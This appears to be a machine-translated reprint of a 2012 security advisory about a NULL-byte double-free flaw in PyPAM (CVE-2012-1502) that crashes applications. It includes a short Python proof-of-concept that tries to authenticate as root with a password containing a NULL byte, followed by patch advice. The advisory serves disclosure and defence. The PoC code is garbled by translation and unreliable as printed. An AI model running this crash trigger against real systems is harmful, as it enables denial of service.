PyPAM password NULL byte processing reference denial of Access Vulnerability

Source: Internet
Author: User

Release date:
Updated on: 2012-03-13

Affected Systems:
Ubuntu Linux 11.x
Ubuntu Linux 10.x
Ubuntu PyPAM
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52370
Cve id: CVE-2012-1502

Python-pam is the interface from Python to the PAM library.

PyPAM has a denial of access vulnerability in verifying the implementation of a password containing NULL bytes. Attackers can exploit this vulnerability to cause application crash.

<* Source: Markus Vervier

Link: http://www.lsexperts.de/advisories/lse-2012-03-01.txt

*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Markus Vervier () provides the following test methods:

#! /Usr/bin/env python
##
# Python-pam 0.4.2 double free PoC
##
#2012 Leading Security Experts GmbH
# Markus Vervier
##
#-*-Coding: UTF-8 -*-

Def verify_password (user, password ):
Import PAM
Def pam_conv (auth, query_list, userData ):
Resp = []
Resp. append (password, 0 ))
Return resp
Res =-3
Service = 'passwd'

Auth = PAM. pam ()
Auth. start (service)
Auth. set_item (PAM. PAM_USER, user)
Auth. set_item (PAM. PAM_CONV, pam_conv)
Try:
Auth. authenticate ()
Auth. acct_mgmt ()
Failed t PAM. error, resp:
Print 'Go away! (% S) '% resp
Res =-1
Except t:
Print 'internal error'
Res =-2
Else:
Print 'Good to go! '
Res = 0

Return res

Print verify_password ("root", "a \ x00secret ")

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Ubuntu
------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.ubuntulinux.org/

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.